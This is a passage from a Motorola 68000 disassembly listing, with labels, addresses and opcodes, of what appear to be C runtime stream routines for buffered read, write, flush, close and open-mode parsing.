  4506.     MOVEA.L    4(A7),A0        ;2A40: 206F0004
  4507.     MOVE.L    8(A7),D0        ;2A44: 202F0008
  4508.     MOVE.L    12(A7),D1        ;2A48: 222F000C
  4509.     MOVEA.L    16(A7),A1        ;2A4C: 226F0010
  4510. LAB_026D:
  4511.     SUBQ    #4,A7            ;2A50: 594F
  4512.     MOVEM.L    D4-D7/A3,-(A7)        ;2A52: 48E70F10
  4513.     MOVE.L    D1,D6            ;2A56: 2C01
  4514.     MOVE.L    D0,D7            ;2A58: 2E00
  4515.     MOVEA.L    A1,A3            ;2A5A: 2649
  4516.     MOVE.L    A0,20(A7)        ;2A5C: 2F480014
  4517.     MOVE.L    D6,D0            ;2A60: 2006
  4518.     MOVE.L    D7,D1            ;2A62: 2207
  4519.     JSR    LAB_01DD(PC)        ;2A64: 4EBAF572
  4520.     MOVE.L    D0,D5            ;2A68: 2A00
  4521.     MOVEQ    #0,D4            ;2A6A: 7800
  4522.     TST.L    D7            ;2A6C: 4A87
  4523.     BEQ.S    LAB_026E        ;2A6E: 6704
  4524.     TST.L    D6            ;2A70: 4A86
  4525.     BNE.S    LAB_026F        ;2A72: 6606
  4526. LAB_026E:
  4527.     MOVEQ    #0,D0            ;2A74: 7000
  4528.     BRA    LAB_027A        ;2A76: 600000FC
  4529. LAB_026F:
  4530.     MOVEQ    #48,D0            ;2A7A: 7030
  4531.     AND.L    24(A3),D0        ;2A7C: C0AB0018
  4532.     BNE.S    LAB_0270        ;2A80: 660A
  4533.     MOVEQ    #65,D0            ;2A82: 7041
  4534.     ADD.L    D0,D0            ;2A84: D080
  4535.     AND.L    24(A3),D0        ;2A86: C0AB0018
  4536.     BNE.S    LAB_0271        ;2A8A: 660C
  4537. LAB_0270:
  4538.     BSET    #5,27(A3)        ;2A8C: 08EB0005001B
  4539.     MOVEQ    #0,D0            ;2A92: 7000
  4540.     BRA    LAB_027A        ;2A94: 600000DE
  4541. LAB_0271:
  4542.     MOVEQ    #51,D0            ;2A98: 7033
  4543.     AND.L    24(A3),D0        ;2A9A: C0AB0018
  4544.     SUBQ.L    #2,D0            ;2A9E: 5580
  4545.     BEQ.S    LAB_0275        ;2AA0: 6750
  4546.     MOVEQ    #76,D0            ;2AA2: 704C
  4547.     NOT.B    D0            ;2AA4: 4600
  4548.     AND.L    24(A3),D0        ;2AA6: C0AB0018
  4549.     MOVEQ    #64,D1            ;2AAA: 7240
  4550.     ADD.L    D1,D1            ;2AAC: D281
  4551.     CMP.L    D1,D0            ;2AAE: B081
  4552.     BNE.S    LAB_0272        ;2AB0: 660C
  4553.     BSET    #1,27(A3)        ;2AB2: 08EB0001001B
  4554.     CLR.L    12(A3)            ;2AB8: 42AB000C
  4555.     BRA.S    LAB_0275        ;2ABC: 6034
  4556. LAB_0272:
  4557.     BTST    #5,27(A3)        ;2ABE: 082B0005001B
  4558.     BEQ.S    LAB_0273        ;2AC4: 6706
  4559.     MOVEQ    #0,D0            ;2AC6: 7000
  4560.     BRA    LAB_027A        ;2AC8: 600000AA
  4561. LAB_0273:
  4562.     MOVEQ    #110,D0            ;2ACC: 706E
  4563.     NOT.B    D0            ;2ACE: 4600
  4564.     AND.L    24(A3),D0        ;2AD0: C0AB0018
  4565.     MOVEQ    #110,D1            ;2AD4: 726E
  4566.     NOT.B    D1            ;2AD6: 4601
  4567.     CMP.L    D1,D0            ;2AD8: B081
  4568.     BNE.S    LAB_0274        ;2ADA: 660C
  4569.     BSET    #1,27(A3)        ;2ADC: 08EB0001001B
  4570.     CLR.L    12(A3)            ;2AE2: 42AB000C
  4571.     BRA.S    LAB_0275        ;2AE6: 600A
  4572. LAB_0274:
  4573.     CLR.L    12(A3)            ;2AE8: 42AB000C
  4574.     MOVEQ    #0,D0            ;2AEC: 7000
  4575.     BRA    LAB_027A        ;2AEE: 60000084
  4576. LAB_0275:
  4577.     TST.L    20(A3)            ;2AF2: 4AAB0014
  4578.     BNE.S    LAB_0277        ;2AF6: 664C
  4579.     BTST    #2,27(A3)        ;2AF8: 082B0002001B
  4580.     BNE.S    LAB_0277        ;2AFE: 6644
  4581.     MOVEA.L    A3,A0            ;2B00: 204B
  4582.     JSR    LAB_0176(PC)        ;2B02: 4EBAED28
  4583.     TST.L    D0            ;2B06: 4A80
  4584.     BEQ.S    LAB_0277        ;2B08: 673A
  4585.     BSET    #5,27(A3)        ;2B0A: 08EB0005001B
  4586.     MOVEQ    #0,D0            ;2B10: 7000
  4587.     BRA.S    LAB_027A        ;2B12: 6060
  4588. LAB_0276:
  4589.     MOVEA.L    20(A7),A0        ;2B14: 206F0014
  4590.     MOVE.B    (A0)+,D0        ;2B18: 1018
  4591.     MOVEA.L    4(A3),A1        ;2B1A: 226B0004
  4592.     MOVE.B    D0,(A1)            ;2B1E: 1280
  4593.     ADDQ.L    #1,4(A3)        ;2B20: 52AB0004
  4594.     ADDQ.L    #1,12(A3)        ;2B24: 52AB000C
  4595.     SUBQ.L    #1,D5            ;2B28: 5385
  4596.     ADDQ.L    #1,D4            ;2B2A: 5284
  4597.     MOVE.L    A0,20(A7)        ;2B2C: 2F480014
  4598.     MOVEQ    #10,D1            ;2B30: 720A
  4599.     CMP.B    D1,D0            ;2B32: B001
  4600.     BNE.S    LAB_0277        ;2B34: 660E
  4601.     BTST    #6,27(A3)        ;2B36: 082B0006001B
  4602.     BEQ.S    LAB_0277        ;2B3C: 6706
  4603.     MOVEA.L    A3,A0            ;2B3E: 204B
  4604.     JSR    LAB_028C(PC)        ;2B40: 4EBA01B2
  4605. LAB_0277:
  4606.     MOVE.L    12(A3),D0        ;2B44: 202B000C
  4607.     CMP.L    20(A3),D0        ;2B48: B0AB0014
  4608.     BGE.S    LAB_0278        ;2B4C: 6C04
  4609.     TST.L    D5            ;2B4E: 4A85
  4610.     BGT.S    LAB_0276        ;2B50: 6EC2
  4611. LAB_0278:
  4612.     TST.L    D5            ;2B52: 4A85
  4613.     BLE.S    LAB_0279        ;2B54: 6F16
  4614.     MOVEA.L    A3,A0            ;2B56: 204B
  4615.     JSR    LAB_028C(PC)        ;2B58: 4EBA019A
  4616.     MOVE.L    28(A3),D0        ;2B5C: 202B001C
  4617.     MOVE.L    D5,D1            ;2B60: 2205
  4618.     MOVEA.L    20(A7),A0        ;2B62: 206F0014
  4619.     JSR    LAB_018D(PC)        ;2B66: 4EBAEED8
  4620.     ADD.L    D0,D4            ;2B6A: D880
  4621. LAB_0279:
  4622.     MOVE.L    D4,D0            ;2B6C: 2004
  4623.     MOVE.L    D7,D1            ;2B6E: 2207
  4624.     JSR    LAB_01D5(PC)        ;2B70: 4EBAF3D4
  4625. LAB_027A:
  4626.     MOVEM.L    (A7)+,D4-D7/A3        ;2B74: 4CDF08F0
  4627.     ADDQ    #4,A7            ;2B78: 584F
  4628.     RTS                ;2B7A: 4E75
  4629.     MOVEA.L    4(A7),A0        ;2B7C: 206F0004
  4630.     MOVE.L    8(A7),D0        ;2B80: 202F0008
  4631.     MOVE.L    12(A7),D1        ;2B84: 222F000C
  4632.     MOVEA.L    16(A7),A1        ;2B88: 226F0010
  4633. LAB_027B:
  4634.     SUBQ    #8,A7            ;2B8C: 514F
  4635.     MOVEM.L    D4-D7/A3/A5,-(A7)    ;2B8E: 48E70F14
  4636.     MOVE.L    D0,D7            ;2B92: 2E00
  4637.     MOVEA.L    A1,A5            ;2B94: 2A49
  4638.     MOVE.L    D1,D6            ;2B96: 2C01
  4639.     MOVEA.L    A0,A3            ;2B98: 2648
  4640.     MOVE.L    D1,24(A7)        ;2B9A: 2F410018
  4641.     MOVE.L    A0,28(A7)        ;2B9E: 2F48001C
  4642.     TST.L    D7            ;2BA2: 4A87
  4643.     BEQ.S    LAB_027C        ;2BA4: 6704
  4644.     TST.L    D6            ;2BA6: 4A86
  4645.     BNE.S    LAB_027D        ;2BA8: 6606
  4646. LAB_027C:
  4647.     MOVEQ    #0,D0            ;2BAA: 7000
  4648.     BRA    LAB_028B        ;2BAC: 60000138
  4649. LAB_027D:
  4650.     MOVE.L    D6,D0            ;2BB0: 2006
  4651.     MOVE.L    D7,D1            ;2BB2: 2207
  4652.     JSR    LAB_01DD(PC)        ;2BB4: 4EBAF422
  4653.     MOVE.L    D0,D6            ;2BB8: 2C00
  4654.     MOVEQ    #0,D5            ;2BBA: 7A00
  4655.     MOVEQ    #48,D0            ;2BBC: 7030
  4656.     AND.L    24(A5),D0        ;2BBE: C0AD0018
  4657.     BEQ.S    LAB_027E        ;2BC2: 6706
  4658.     MOVEQ    #0,D0            ;2BC4: 7000
  4659.     BRA    LAB_028B        ;2BC6: 6000011E
  4660. LAB_027E:
  4661.     MOVEQ    #126,D0            ;2BCA: 707E
  4662.     NOT.B    D0            ;2BCC: 4600
  4663.     AND.L    24(A5),D0        ;2BCE: C0AD0018
  4664.     BEQ    LAB_028B        ;2BD2: 67000112
  4665.     MOVEQ    #51,D0            ;2BD6: 7033
  4666.     AND.L    24(A5),D0        ;2BD8: C0AD0018
  4667.     SUBQ.L    #1,D0            ;2BDC: 5380
  4668.     BEQ.S    LAB_0280        ;2BDE: 6734
  4669.     MOVEQ    #92,D0            ;2BE0: 705C
  4670.     NOT.B    D0            ;2BE2: 4600
  4671.     AND.L    24(A5),D0        ;2BE4: C0AD0018
  4672.     MOVEQ    #64,D1            ;2BE8: 7240
  4673.     ADD.L    D1,D1            ;2BEA: D281
  4674.     CMP.L    D1,D0            ;2BEC: B081
  4675.     BNE.S    LAB_027F        ;2BEE: 6614
  4676.     BSET    #0,27(A5)        ;2BF0: 08ED0000001B
  4677.     BTST    #4,27(A5)        ;2BF6: 082D0004001B
  4678.     BEQ.S    LAB_0280        ;2BFC: 6716
  4679.     MOVEQ    #0,D0            ;2BFE: 7000
  4680.     BRA    LAB_028B        ;2C00: 600000E4
  4681. LAB_027F:
  4682.     CLR.L    8(A5)            ;2C04: 42AD0008
  4683.     BSET    #5,27(A5)        ;2C08: 08ED0005001B
  4684.     MOVEQ    #0,D0            ;2C0E: 7000
  4685.     BRA    LAB_028B        ;2C10: 600000D4
  4686. LAB_0280:
  4687.     TST.L    20(A5)            ;2C14: 4AAD0014
  4688.     BNE.S    LAB_0282        ;2C18: 662E
  4689.     BTST    #2,27(A5)        ;2C1A: 082D0002001B
  4690.     BNE.S    LAB_0282        ;2C20: 6626
  4691.     MOVEA.L    A5,A0            ;2C22: 204D
  4692.     JSR    LAB_0176(PC)        ;2C24: 4EBAEC06
  4693.     TST.L    D0            ;2C28: 4A80
  4694.     BEQ.S    LAB_0282        ;2C2A: 671C
  4695.     BSET    #5,27(A5)        ;2C2C: 08ED0005001B
  4696.     MOVEQ    #0,D0            ;2C32: 7000
  4697.     BRA    LAB_028B        ;2C34: 600000B0
  4698. LAB_0281:
  4699.     LEA    4(A5),A1        ;2C38: 43ED0004
  4700.     MOVEA.L    (A1),A0            ;2C3C: 2051
  4701.     MOVE.B    (A0),(A3)+        ;2C3E: 16D0
  4702.     ADDQ.L    #1,(A1)+        ;2C40: 5299
  4703.     SUBQ.L    #1,(A1)+        ;2C42: 5399
  4704.     SUBQ.L    #1,D6            ;2C44: 5386
  4705.     ADDQ.L    #1,D5            ;2C46: 5285
  4706. LAB_0282:
  4707.     TST.L    8(A5)            ;2C48: 4AAD0008
  4708.     BEQ.S    LAB_0283        ;2C4C: 6704
  4709.     TST.L    D6            ;2C4E: 4A86
  4710.     BGT.S    LAB_0281        ;2C50: 6EE6
  4711. LAB_0283:
  4712.     TST.L    D6            ;2C52: 4A86
  4713.     BLE    LAB_028A        ;2C54: 6F000088
  4714.     BTST    #2,27(A5)        ;2C58: 082D0002001B
  4715.     BNE.S    LAB_0284        ;2C5E: 6606
  4716.     CMP.L    20(A5),D6        ;2C60: BCAD0014
  4717.     BLE.S    LAB_0287        ;2C64: 6F30
  4718. LAB_0284:
  4719.     MOVE.L    28(A5),D0        ;2C66: 202D001C
  4720.     MOVE.L    D6,D1            ;2C6A: 2206
  4721.     MOVEA.L    A3,A0            ;2C6C: 204B
  4722.     JSR    LAB_0197(PC)        ;2C6E: 4EBAEED0
  4723.     MOVE.L    D0,D4            ;2C72: 2800
  4724.     TST.L    D6            ;2C74: 4A86
  4725.     BPL.S    LAB_0285        ;2C76: 6A10
  4726.     BSET    #5,27(A5)        ;2C78: 08ED0005001B
  4727.     MOVE.L    D5,D0            ;2C7E: 2005
  4728.     MOVE.L    D7,D1            ;2C80: 2207
  4729.     JSR    LAB_01D5(PC)        ;2C82: 4EBAF2C2
  4730.     BRA.S    LAB_028B        ;2C86: 605E
  4731. LAB_0285:
  4732.     CMP.L    D6,D4            ;2C88: B886
  4733.     BGE.S    LAB_0286        ;2C8A: 6C06
  4734.     BSET    #4,27(A5)        ;2C8C: 08ED0004001B
  4735. LAB_0286:
  4736.     ADD.L    D4,D5            ;2C92: DA84
  4737.     BRA.S    LAB_028A        ;2C94: 6048
  4738. LAB_0287:
  4739.     MOVEA.L    16(A5),A0        ;2C96: 206D0010
  4740.     MOVE.L    A0,4(A5)        ;2C9A: 2B480004
  4741.     MOVE.L    28(A5),D0        ;2C9E: 202D001C
  4742.     MOVE.L    20(A5),D1        ;2CA2: 222D0014
  4743.     MOVEA.L    16(A5),A0        ;2CA6: 206D0010
  4744.     JSR    LAB_0197(PC)        ;2CAA: 4EBAEE94
  4745.     MOVE.L    D0,D4            ;2CAE: 2800
  4746.     BGE.S    LAB_0288        ;2CB0: 6C10
  4747.     BSET    #5,27(A5)        ;2CB2: 08ED0005001B
  4748.     MOVE.L    D5,D0            ;2CB8: 2005
  4749.     MOVE.L    D7,D1            ;2CBA: 2207
  4750.     JSR    LAB_01D5(PC)        ;2CBC: 4EBAF288
  4751.     BRA.S    LAB_028B        ;2CC0: 6024
  4752. LAB_0288:
  4753.     TST.L    D4            ;2CC2: 4A84
  4754.     BNE.S    LAB_0289        ;2CC4: 6610
  4755.     BSET    #4,27(A5)        ;2CC6: 08ED0004001B
  4756.     MOVE.L    D5,D0            ;2CCC: 2005
  4757.     MOVE.L    D7,D1            ;2CCE: 2207
  4758.     JSR    LAB_01D5(PC)        ;2CD0: 4EBAF274
  4759.     BRA.S    LAB_028B        ;2CD4: 6010
  4760. LAB_0289:
  4761.     MOVE.L    D4,8(A5)        ;2CD6: 2B440008
  4762.     BRA    LAB_0282        ;2CDA: 6000FF6C
  4763. LAB_028A:
  4764.     MOVE.L    D5,D0            ;2CDE: 2005
  4765.     MOVE.L    D7,D1            ;2CE0: 2207
  4766.     JSR    LAB_01D5(PC)        ;2CE2: 4EBAF262
  4767. LAB_028B:
  4768.     MOVEM.L    (A7)+,D4-D7/A3/A5    ;2CE6: 4CDF28F0
  4769.     ADDQ    #8,A7            ;2CEA: 504F
  4770.     RTS                ;2CEC: 4E75
  4771.     DC.W    $0000            ;2CEE
  4772.     MOVEA.L    4(A7),A0        ;2CF0: 206F0004
  4773. LAB_028C:
  4774.     MOVEM.L    D7/A5,-(A7)        ;2CF4: 48E70104
  4775.     MOVEA.L    A0,A5            ;2CF8: 2A48
  4776.     MOVE.L    A5,D0            ;2CFA: 200D
  4777.     BEQ    LAB_0295        ;2CFC: 670000A0
  4778.     MOVEQ    #65,D0            ;2D00: 7041
  4779.     ADD.L    D0,D0            ;2D02: D080
  4780.     AND.L    24(A5),D0        ;2D04: C0AD0018
  4781.     BNE.S    LAB_028E        ;2D08: 662C
  4782.     MOVEA.L    16(A5),A0        ;2D0A: 206D0010
  4783.     LEA    4(A5),A1        ;2D0E: 43ED0004
  4784.     MOVE.L    A0,(A1)+        ;2D12: 22C8
  4785.     CLR.L    (A1)+            ;2D14: 4299
  4786.     CLR.B    32(A5)            ;2D16: 422D0020
  4787.     MOVEQ    #0,D0            ;2D1A: 7000
  4788.     MOVE.L    D0,(A1)+        ;2D1C: 22C0
  4789.     BTST    #7,27(A5)        ;2D1E: 082D0007001B
  4790.     BEQ.S    LAB_028D        ;2D24: 6706
  4791.     BCLR    #0,27(A5)        ;2D26: 08AD0000001B
  4792. LAB_028D:
  4793.     BCLR    #4,27(A5)        ;2D2C: 08AD0004001B
  4794.     BRA    LAB_0298        ;2D32: 6000008A
  4795. LAB_028E:
  4796.     TST.L    20(A5)            ;2D36: 4AAD0014
  4797.     BEQ.S    LAB_0292        ;2D3A: 6744
  4798.     MOVE.L    12(A5),D0        ;2D3C: 202D000C
  4799.     BPL.S    LAB_028F        ;2D40: 6A06
  4800.     MOVEQ    #0,D1            ;2D42: 7200
  4801.     MOVE.L    D1,12(A5)        ;2D44: 2B41000C
  4802. LAB_028F:
  4803.     MOVE.L    12(A5),D0        ;2D48: 202D000C
  4804.     BEQ.S    LAB_0291        ;2D4C: 6728
  4805.     MOVE.L    28(A5),D1        ;2D4E: 222D001C
  4806.     MOVEA.L    16(A5),A0        ;2D52: 206D0010
  4807.     EXG    D0,D1            ;2D56: C141
  4808.     JSR    LAB_018D(PC)        ;2D58: 4EBAECE6
  4809.     MOVE.L    D0,D7            ;2D5C: 2E00
  4810.     ADDQ.L    #1,D0            ;2D5E: 5280
  4811.     BNE.S    LAB_0290        ;2D60: 6608
  4812.     BSET    #5,27(A5)        ;2D62: 08ED0005001B
  4813.     BRA.S    LAB_0291        ;2D68: 600C
  4814. LAB_0290:
  4815.     CMP.L    12(A5),D7        ;2D6A: BEAD000C
  4816.     BEQ.S    LAB_0291        ;2D6E: 6706
  4817.     BSET    #4,27(A5)        ;2D70: 08ED0004001B
  4818. LAB_0291:
  4819.     MOVE.L    16(A5),4(A5)        ;2D76: 2B6D00100004
  4820.     CLR.L    12(A5)            ;2D7C: 42AD000C
  4821. LAB_0292:
  4822.     MOVEQ    #48,D0            ;2D80: 7030
  4823.     AND.L    24(A5),D0        ;2D82: C0AD0018
  4824.     BNE.S    LAB_0294        ;2D86: 6612
  4825.     BTST    #7,27(A5)        ;2D88: 082D0007001B
  4826.     BEQ.S    LAB_0293        ;2D8E: 6706
  4827.     MOVEQ    #-4,D0            ;2D90: 70FC
  4828.     AND.L    D0,24(A5)        ;2D92: C1AD0018
  4829. LAB_0293:
  4830.     MOVEQ    #0,D0            ;2D96: 7000
  4831.     BRA.S    LAB_0298        ;2D98: 6024
  4832. LAB_0294:
  4833.     MOVEQ    #-1,D0            ;2D9A: 70FF
  4834.     BRA.S    LAB_0298        ;2D9C: 6020
  4835. LAB_0295:
  4836.     MOVEQ    #0,D7            ;2D9E: 7E00
  4837.     LEA    316(A4),A5        ;2DA0: 4BEC013C
  4838. LAB_0296:
  4839.     TST.L    24(A5)            ;2DA4: 4AAD0018
  4840.     BEQ.S    LAB_0297        ;2DA8: 670C
  4841.     MOVEA.L    A5,A0            ;2DAA: 204D
  4842.     BSR    LAB_028C        ;2DAC: 6100FF46
  4843.     TST.L    D0            ;2DB0: 4A80
  4844.     BEQ.S    LAB_0297        ;2DB2: 6702
  4845.     MOVEQ    #-1,D7            ;2DB4: 7EFF
  4846. LAB_0297:
  4847.     MOVEA.L    (A5),A5            ;2DB6: 2A55
  4848.     MOVE.L    A5,D0            ;2DB8: 200D
  4849.     BNE.S    LAB_0296        ;2DBA: 66E8
  4850.     MOVE.L    D7,D0            ;2DBC: 2007
  4851. LAB_0298:
  4852.     MOVEM.L    (A7)+,D7/A5        ;2DBE: 4CDF2080
  4853.     RTS                ;2DC2: 4E75
  4854.     MOVEA.L    4(A7),A0        ;2DC4: 206F0004
  4855. LAB_0299:
  4856.     MOVEM.L    D7/A5,-(A7)        ;2DC8: 48E70104
  4857.     MOVEA.L    A0,A5            ;2DCC: 2A48
  4858.     MOVEQ    #0,D7            ;2DCE: 7E00
  4859.     MOVE.L    A5,D0            ;2DD0: 200D
  4860.     BEQ.S    LAB_029A        ;2DD2: 6706
  4861.     MOVE.L    24(A5),D0        ;2DD4: 202D0018
  4862.     BNE.S    LAB_029B        ;2DD8: 6604
  4863. LAB_029A:
  4864.     MOVEQ    #-1,D0            ;2DDA: 70FF
  4865.     BRA.S    LAB_02A0        ;2DDC: 6040
  4866. LAB_029B:
  4867.     BTST    #1,27(A5)        ;2DDE: 082D0001001B
  4868.     BEQ.S    LAB_029C        ;2DE4: 6708
  4869.     MOVEA.L    A5,A0            ;2DE6: 204D
  4870.     JSR    LAB_028C(PC)        ;2DE8: 4EBAFF0A
  4871.     MOVE.L    D0,D7            ;2DEC: 2E00
  4872. LAB_029C:
  4873.     MOVEQ    #12,D0            ;2DEE: 700C
  4874.     AND.L    24(A5),D0        ;2DF0: C0AD0018
  4875.     BNE.S    LAB_029D        ;2DF4: 660E
  4876.     TST.L    20(A5)            ;2DF6: 4AAD0014
  4877.     BEQ.S    LAB_029D        ;2DFA: 6708
  4878.     MOVEA.L    16(A5),A0        ;2DFC: 206D0010
  4879.     JSR    LAB_0212(PC)        ;2E00: 4EBAF4DA
  4880. LAB_029D:
  4881.     CLR.L    24(A5)            ;2E04: 42AD0018
  4882.     MOVE.L    28(A5),D0        ;2E08: 202D001C
  4883.     JSR    LAB_01AB(PC)        ;2E0C: 4EBAEEB6
  4884.     ADDQ.L    #1,D7            ;2E10: 5287
  4885.     BEQ.S    LAB_029E        ;2E12: 6704
  4886.     TST.L    D0            ;2E14: 4A80
  4887.     BEQ.S    LAB_029F        ;2E16: 6704
  4888. LAB_029E:
  4889.     MOVEQ    #-1,D0            ;2E18: 70FF
  4890.     BRA.S    LAB_02A0        ;2E1A: 6002
  4891. LAB_029F:
  4892.     MOVEQ    #0,D0            ;2E1C: 7000
  4893. LAB_02A0:
  4894.     MOVEM.L    (A7)+,D7/A5        ;2E1E: 4CDF2080
  4895.     RTS                ;2E22: 4E75
  4896.     MOVEA.L    4(A7),A0        ;2E24: 206F0004
  4897.     MOVEA.L    8(A7),A1        ;2E28: 226F0008
  4898.     MOVE.L    12(A7),4(A7)        ;2E2C: 2F6F000C0004
  4899. LAB_02A1:
  4900.     SUBQ    #4,A7            ;2E32: 594F
  4901.     MOVEM.L    D4-D7/A3/A5,-(A7)    ;2E34: 48E70F14
  4902.     MOVEA.L    32(A7),A3        ;2E38: 266F0020
  4903.     MOVEA.L    A1,A5            ;2E3C: 2A49
  4904.     MOVE.L    A0,24(A7)        ;2E3E: 2F480018
  4905.     MOVEQ    #0,D7            ;2E42: 7E00
  4906.     MOVE.L    428(A4),D6        ;2E44: 2C2C01AC
  4907.     MOVEQ    #0,D5            ;2E48: 7A00
  4908.     TST.L    24(A3)            ;2E4A: 4AAB0018
  4909.     BEQ.S    LAB_02A2        ;2E4E: 6706
  4910.     MOVEA.L    A3,A0            ;2E50: 204B
  4911.     JSR    LAB_0299(PC)        ;2E52: 4EBAFF74
  4912. LAB_02A2:
  4913.     MOVEQ    #0,D0            ;2E56: 7000
  4914.     MOVE.B    1(A5),D0        ;2E58: 102D0001
  4915.     MOVEQ    #43,D1            ;2E5C: 722B
  4916.     SUB.L    D1,D0            ;2E5E: 9081
  4917.     BEQ.S    LAB_02A5        ;2E60: 6720
  4918.     MOVEQ    #54,D1            ;2E62: 7236
  4919.     SUB.L    D1,D0            ;2E64: 9081
  4920.     BEQ.S    LAB_02A3        ;2E66: 6706
  4921.     SUBQ.L    #1,D0            ;2E68: 5380
  4922.     BEQ.S    LAB_02A4        ;2E6A: 6704
  4923.     BRA.S    LAB_02A6        ;2E6C: 6020
  4924. LAB_02A3:
  4925.     MOVEQ    #0,D6            ;2E6E: 7C00
  4926. LAB_02A4:
  4927.     MOVEQ    #43,D1            ;2E70: 722B
  4928.     CMP.B    2(A5),D1        ;2E72: B22D0002
  4929.     SEQ    D0            ;2E76: 57C0
  4930.     NEG.B    D0            ;2E78: 4400
  4931.     EXT    D0            ;2E7A: 4880
  4932.     EXT.L    D0            ;2E7C: 48C0
  4933.     MOVE.L    D0,D5            ;2E7E: 2A00
  4934.     BRA.S    LAB_02A6        ;2E80: 600C
  4935. LAB_02A5:
  4936.     MOVEQ    #1,D5            ;2E82: 7A01
  4937.     MOVEQ    #97,D0            ;2E84: 7061
  4938.     CMP.B    2(A5),D0        ;2E86: B02D0002
  4939.     BNE.S    LAB_02A6        ;2E8A: 6602
  4940.     MOVEQ    #0,D6            ;2E8C: 7C00
  4941. LAB_02A6:
  4942.     MOVEQ    #0,D0            ;2E8E: 7000
  4943.     MOVE.B    (A5),D0            ;2E90: 1015
  4944.     MOVEQ    #97,D1            ;2E92: 7261
  4945.     SUB.L    D1,D0            ;2E94: 9081
  4946.     BEQ.S    LAB_02A7        ;2E96: 670C
  4947.     MOVEQ    #17,D1            ;2E98: 7211
  4948.     SUB.L    D1,D0            ;2E9A: 9081
  4949.     BEQ.S    LAB_02A8        ;2E9C: 671A
  4950.     SUBQ.L    #5,D0            ;2E9E: 5B80
  4951.     BEQ.S    LAB_02A9        ;2EA0: 6724
  4952.     BRA.S    LAB_02AA        ;2EA2: 6036
  4953. LAB_02A7:
  4954.     TST.L    D5            ;2EA4: 4A85
  4955.     SNE    D0            ;2EA6: 56C0
  4956.     MOVEQ    #1,D1            ;2EA8: 7201
  4957.     SUB.B    D0,D1            ;2EAA: 9200
  4958.     ORI    #$0108,D1        ;2EAC: 00410108
  4959.     OR.L    D1,D6            ;2EB0: 8C81
  4960.     MOVEQ    #64,D7            ;2EB2: 7E40
  4961.     LSL.L    #8,D7            ;2EB4: E18F
  4962.     BRA.S    LAB_02AB        ;2EB6: 6028
  4963. LAB_02A8:
  4964.     TST.L    D5            ;2EB8: 4A85
  4965.     SNE    D0            ;2EBA: 56C0
  4966.     MOVEQ    #0,D1            ;2EBC: 7200
  4967.     SUB.B    D0,D1            ;2EBE: 9200
  4968.     SUB.B    D0,D1            ;2EC0: 9200
  4969.     OR.L    D1,D6            ;2EC2: 8C81
  4970.     BRA.S    LAB_02AB        ;2EC4: 601A
  4971. LAB_02A9:
  4972.     TST.L    D5            ;2EC6: 4A85
  4973.     SNE    D0            ;2EC8: 56C0
  4974.     MOVEQ    #1,D1            ;2ECA: 7201
  4975.     SUB.B    D0,D1            ;2ECC: 9200
  4976.     ORI    #$0100,D1        ;2ECE: 00410100
  4977.     ORI    #$0200,D1        ;2ED2: 00410200
  4978.     OR.L    D1,D6            ;2ED6: 8C81
  4979.     BRA.S    LAB_02AB        ;2ED8: 6006
  4980. LAB_02AA:
  4981.     MOVEQ    #0,D0            ;2EDA: 7000
  4982.     BRA    LAB_02B3        ;2EDC: 60000080
  4983. LAB_02AB:
  4984.     MOVE.L    432(A4),-(A7)        ;2EE0: 2F2C01B0
  4985.     MOVE.L    D6,-(A7)        ;2EE4: 2F06
  4986.     MOVE.L    32(A7),-(A7)        ;2EE6: 2F2F0020
  4987.     JSR    LAB_01B2(PC)        ;2EEA: 4EBAEE44
  4988.     LEA    12(A7),A7        ;2EEE: 4FEF000C
  4989.     MOVE.L    D0,D4            ;2EF2: 2800
  4990.     ADDQ.L    #1,D0            ;2EF4: 5280
  4991.     BNE.S    LAB_02AC        ;2EF6: 6604
  4992.     MOVEQ    #0,D0            ;2EF8: 7000
  4993.     BRA.S    LAB_02B3        ;2EFA: 6062
  4994. LAB_02AC:
  4995.     TST.L    D5            ;2EFC: 4A85
  4996.     BEQ.S    LAB_02AD        ;2EFE: 6706
  4997.     BSET    #7,D7            ;2F00: 08C70007
  4998.     BRA.S    LAB_02B1        ;2F04: 6030
  4999. LAB_02AD:
  5000.     MOVEQ    #0,D0            ;2F06: 7000
  5001.     MOVE.B    (A5),D0            ;2F08: 1015
  5002.     MOVEQ    #97,D1            ;2F0A: 7261
  5003.     SUB.L    D1,D0            ;2F0C: 9081
  5004.     BEQ.S    LAB_02AE        ;2F0E: 670C
  5005.     MOVEQ    #17,D1            ;2F10: 7211
  5006.     SUB.L    D1,D0            ;2F12: 9081
  5007.     BEQ.S    LAB_02AF        ;2F14: 671A
  5008.     SUBQ.L    #5,D0            ;2F16: 5B80
  5009.     BEQ.S    LAB_02B0        ;2F18: 671A
  5010.     BRA.S    LAB_02B1        ;2F1A: 601A
  5011. LAB_02AE:
  5012.     BSET    #1,D7            ;2F1C: 08C70001
  5013.     PEA    (2).W            ;2F20: 48780002
  5014.     MOVE.L    D4,D0            ;2F24: 2004
  5015.     MOVEQ    #0,D1            ;2F26: 7200
  5016.     JSR    LAB_01A4(PC)        ;2F28: 4EBAED10
  5017.     ADDQ    #4,A7            ;2F2C: 584F
  5018.     BRA.S    LAB_02B1        ;2F2E: 6006
  5019. LAB_02AF:
  5020.     MOVEQ    #1,D7            ;2F30: 7E01
  5021.     BRA.S    LAB_02B1        ;2F32: 6002
  5022. LAB_02B0:
  5023.     MOVEQ    #2,D7            ;2F34: 7E02
  5024. LAB_02B1:
  5025.     BTST    #15,D6            ;2F36: 0806000F
  5026.     BNE.S    LAB_02B2        ;2F3A: 6604
  5027.     BSET    #15,D7            ;2F3C: 08C7000F
  5028. LAB_02B2:
  5029.     SUBA.L    A0,A0            ;2F40: 91C8
  5030.     LEA    16(A3),A5        ;2F42: 4BEB0010
  5031.     MOVE.L    A0,(A5)+        ;2F46: 2AC8
  5032.     MOVE.L    A0,(A5)+        ;2F48: 2AC8
  5033.     MOVE.L    D4,28(A3)        ;2F4A: 2744001C
  5034.     MOVE.L    A0,4(A3)        ;2F4E: 27480004
  5035.     MOVE.L    A0,12(A3)        ;2F52: 2748000C
  5036.     MOVE.L    A0,8(A3)        ;2F56: 27480008
  5037.     MOVE.L    D7,(A5)+        ;2F5A: 2AC7
  5038.     MOVE.L    A3,D0            ;2F5C: 200B
  5039. LAB_02B3:
  5040.     MOVEM.L    (A7)+,D4-D7/A3/A5    ;2F5E: 4CDF28F0
  5041.     ADDQ    #4,A7            ;2F62: 584F
  5042.     RTS                ;2F64: 4E75
  5043.     DC.W    $0000            ;2F66
  5044.     MOVEA.L    4(A7),A0        ;2F68: 206F0004
